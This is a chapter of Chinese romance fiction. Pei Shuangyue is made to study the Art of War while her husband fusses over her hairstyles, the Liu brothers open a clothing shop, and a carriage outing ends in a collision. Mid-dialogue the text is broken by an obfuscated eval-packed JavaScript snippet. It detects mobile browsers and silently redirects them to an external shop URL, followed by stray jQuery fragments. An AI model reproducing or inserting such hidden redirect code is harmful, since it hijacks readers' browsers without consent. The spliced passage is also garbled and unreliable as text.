裴双月不想读书,更不愿抄书。
但不得不向恶夫君低头。
入了三月,天气暖和,裴双月身子恢复从前三成,终于褪下厚重的大氅。
她坐在木轮椅上,身上是妃色掐金柳絮碎花长裙,发顶是简约的抛家髻,只简单插一只羊脂玉簪,形容懒散仰头看娇翠欲滴的长竹。
戚沅与周绮云一人捧书,一人拎木盒,木盒打开,露出里边的笔墨纸砚,再一一摆放在竹林石桌上。
裴双月指尖无助地轻挠轮椅扶手,眸底渗出不情不愿神色。
“双月姐,今日学《孙子兵法》。”
周绮云温柔嗓音响起,便被裴双月打断。
“学什么?”裴双月不可置信,“兵法?”
“是,双月姐,公子如是吩咐,先学《孙子兵法》,再《国史》。”
周绮云下意识避开裴双月的视线,暗暗心惊。
知晓公子安排时,她与戚沅无不震惊。
世间男人,哪有让自家妻子学兵法学国史的?就算允许妻子识字,也多是为了掌家、管理后宅。
由此可知公子对双月姐是何等戚许与期盼!
裴双月目光移向蓝皮书卷《孙子兵法》,思绪不由的回到从前。
在武行时,大师兄特地请夫子教她读书识字,可只学了一个月,之后大师兄便不许她碰书,只说女子学千字已够用。
那时她并不觉得有问题,直至如今,她学的千字足以支撑她过日子,哪怕阿姐有心要教她读些经典,她也会寻到借口推脱。
于她而言,读书纯属浪费时辰,不如耍剑练功来得重要。
可今日,恶夫君与阿姐一样,要她读经典,而非单纯识字。
她迷茫地轻挠掌心,到底谁对?
“双月姐,我们开始?”
“嗯。”
竹林下传出轻柔的书声,传出沙沙笔墨声,和煦暖阳透过竹叶,斑驳落在研究典籍的三人身上。
晋州府繁华,长街上新开了一间衣裳铺子,唤作彩衣楼。
彩衣楼开业当日,许多姑娘妇人往里凑,叽叽喳喳讨论价格昂贵却堪比仙女彩衣的衣裳们。
彩衣楼共三层,后方连接一处院宅,比起喧闹的前楼,后院明显清幽。
“阿兄,我们初来乍到,没有拜访当地富绅,就开了铺子,会不会出意外?”柳沐青捻着茶杯担忧,白宽的手指无措揉捏。
柳沐严从容:“公子人脉宽广,开铺子之事他已允许,不必担忧。”
柳沐青肉眼可见松了一口气,须臾,他忍不住抻着脖颈问:“阿兄,公子到底是什么人?为何他能与均平军和谢大人都有交集,却不担心双方怀疑?”
柳沐严沉默思考,缓缓摇头。
“不可说。”
柳沐青啧啧两声,又端起茶杯一饮而尽,望向喧闹的前楼:“阿兄,铺子的收益要给公子多少?”
“七成给裴姑娘。”柳沐严淡定答他,“公子不爱俗物。”
柳沐青:“……”
“今日铺子开张是喜事,还有一桩喜事。”柳沐严递出一张小像,“这是阿兄托媒人给你说的姑娘,性情温良和顺,琴棋书画样样精通,你看可愿意?”
“不愿意。”柳沐青果断拒绝,“阿兄,你被人救过吗?女子不是温良和顺才好,不是琴棋书画精通才好,你能明白吗?”
柳沐严:“……”
他明白什么?他巴不得功成名就后妻妾成群,巴不得妻妾温柔小意、顺他心意。
“阿兄,我不想成亲。”柳沐青放下茶杯,执拗地看着柳沐严,“我家仇未报,又得随阿兄走四方,不能安定。更何况,公子未来回归高位,裴姑娘孤立无援,我尚能拉她一把。”
“裴姑娘于我有恩,又模样俏丽倾城,我爱慕她。”
柳沐严张口欲追问,到底是爱慕还是欣赏,可他担心问出口,会得到不尽人意的答案。
如今也好,柳沐青不越界,裴姑娘不知,只埋在心中。
世间男人少有长情,更少有锲而不舍者,兴许再过些时日,走的地方广了,见的女子多了,他会消磨掉这份情愫。
“爱慕归爱慕,你若是敢表露一分,叫公子与裴姑娘难堪,阿兄只能将你送回平安城。”
柳沐严不忘警告,柳沐青忙发誓答应。
“阿兄,你说我是不是得再减些肉,像你们一样清瘦才好看?”
柳沐青捧着茶杯,热烈期待地眼巴巴盯着柳沐严,仿佛等他点头。
柳沐严心累闭眸,耐着性子挤出笑哄他:“阿青,你如今就足够俊俏,白白净净,富贵有福气,裴姑娘见过的男子里边,就你一个过目不忘,可对?”
他不敢让柳沐青减肉,万一减下来,当着公子的面找裴姑娘献殷勤,那还得了!如今有这一身福肉撑着,就算他找裴姑娘献殷勤,公子半分不起疑。
柳沐青细想:“那就不减了!饿着怪难受的。”
柳沐严松了口气,临走前,柳沐青给他拿了十几套成衣与十几套金玉头面,叫他拿给裴姑娘。
回了府,柳沐严各取两件成衣与两套头面拿给周绮云与张京安,再将余下的十几套拿给裴双月。
送东西时,公子正在给裴姑娘梳发髻,看成型的发髻,是飞仙髻。
飞仙髻多是未成婚女子梳妆择选,成了婚的妇人不再梳飞仙髻,柳沐严不认为公子不知这些规矩,正是因为知晓,才心惊复杂。
公子到底将裴姑娘摆在什么位置?
萧让旻翻出一堆的头面,挑挑拣拣往裴双月发髻上扎,余光施舍给柳沐严:“何事?”
“沐青的彩衣楼开业,他想让府里的姑娘们沾沾喜气,取了十几套衣裳与头面,分与裴姑娘、周姑娘与张大夫。”
柳沐严愈发谨慎:“周姑娘与张大夫那边,已经由婢子送去,裴姑娘这里衣裳头面更多些,便由我来送,也好问问裴姑娘的喜恶,下次多加注意。”
裴双月朝柳沐青望去,他身后跟着几个垂首捧红木漆盘的婢子,漆盘上是衣裳与头面,金光闪烁,琳琅满目。
“过来让夫人瞧瞧。”萧让旻手上动作不停,只专心摆弄裴双月的发髻。
婢子们稳步上前,一个又一个让裴双月掌眼。
裴双月指向墨色刻丝锦袍,“这件好,染了血瞧不出来。”
萧让旻:“……”
柳沐严:“……”
“衣裳放下。”萧让旻见她没有厌恶的衣裳,干脆发令,“都退下。”
屋子安静下来,萧让旻也停下梳妆的动作,将她推至梳妆台铜镜前:“比你高束冠□□亮。”
“打杀时不方便。”裴双月别扭地抚过堆满金玉的飞仙髻,“你给我解开。”
“啧。”萧让旻不厌其烦拆卸,待她满头青丝落下,他再度执起木梳,“再梳一个灵蛇髻。”
“夫君。”
“嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778533|205210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
“你不投生成女子,真是可惜。”
“娘子不投生成一把刀,更是可惜。”
裴双月任由他给她梳发、换衣,以至于每日都是不同面貌去竹林读书,叫戚沅和周绮云对着她频频失神,语气愈轻愈温柔。
“今日公子允许歇一日,双月姐想去哪里玩?”
戚沅兴致勃勃提议,身上那件鲜衣红袍更衬他雌雄莫辨,意气风发。
“若是没有想好,不如去瓦舍逛逛?勾栏里边吃喝玩乐一应俱全!”
裴双月尤记得从前做任务,潜入过瓦舍,里边热热闹闹,有杂技、戏台、神楼与小吃,只是时间太久,她早已记不清是何感受。
她道:“好。”
周绮云则小声劝说:“去那等风月场所,公子会怪罪吧?”
裴双月听到萧让旻不乐意,拗劲儿上来:“去。”
三人寻了府里的马车,找了个身强体壮的车夫,驾车出了府。
晋州府比起平安城与良城,要大不少,街边店铺鳞次栉比,城人们热闹地走街串巷,仿佛不知外边有均平军、北厥人作乱。
周绮云鲜少出门,此刻新奇的左顾右盼,尤其是看那天青书院的招牌,又瞧见怡红院的牌匾,忍不住道:“哪有将青楼开在书院旁的道理,这不是引诱读书人吗?”
裴双月与戚沅不约而同看向周绮云,周绮云深觉奇怪。
“我说的有问题?”她疑惑。
戚沅措辞解释:“其实,能读得起书的多是富贵人家,那些公子少爷们家中有通房有丫鬟有书童,反倒是比穷人家的男子更早懂男女之事,也更懂如何寻欢作乐。”
周绮云噌地红了脸,嘟囔道:“岂不是读书人都……”
“也不尽然,诸如沐严兄与沐青,沐严兄钻研学问,没有时间与精力寻欢;沐青则是爱吃爱财,有精力全用来跑厨房数银票,往身上穿金戴银了。”戚沅笑说。
周绮云不免好奇,眸光瞟过裴双月,却碍于萧让旻神秘莫测的身份,而不敢问出口。
裴双月只当做没瞧见,她不想抛出与恶夫君的房事说给任何人听。
“吁——”
马车夫兀的勒马停住,车厢中的三人不约而同往后倒去。
裴双月今日出门梳的是牡丹髻,一层又一层的首饰往她头上堆,昳丽却重得要命。
若不是恶夫君一句“难道娘子想死前只束发?为何不在平和的日子多尝试些模样”,故而她着了他的道,顶着一头金玉出了门。
“哐”
裴双月螓首撞在硬邦邦的车厢。
车厢外传来嚣张的叫喊:“放肆!你们是什么人!竟敢冲撞我家小姐!”
裴双月蹙眉,撑起身扶着沉重发髻往车厢外走。
她多数时刻要坐轮椅节省体力,可不是断了腿,一刻钟两刻钟不坐轮椅亦是可以。
她掀开车帘,隐约听到一阵吸气声。
两辆马车旁,驻足的行人幸灾乐祸望向裴双月所在的马车,正欲瞧瞧倒霉者是谁时,便瞧见形容雍容不失清冷的女子撩开车帘。
双目冷清如冬水,眉如雾拢高山青松,鼻如温润玉琢,浅唇未施粉黛而见妃色,病恹恹与冷硬气息交织,矛盾又令人着迷。
尤其是满发的昂贵头面与绣金线杭缎衣裳,更衬她非寻常貌美女子。
“仙子……”
裴双月好奇地往天上瞥,哪里有仙子?能否许愿?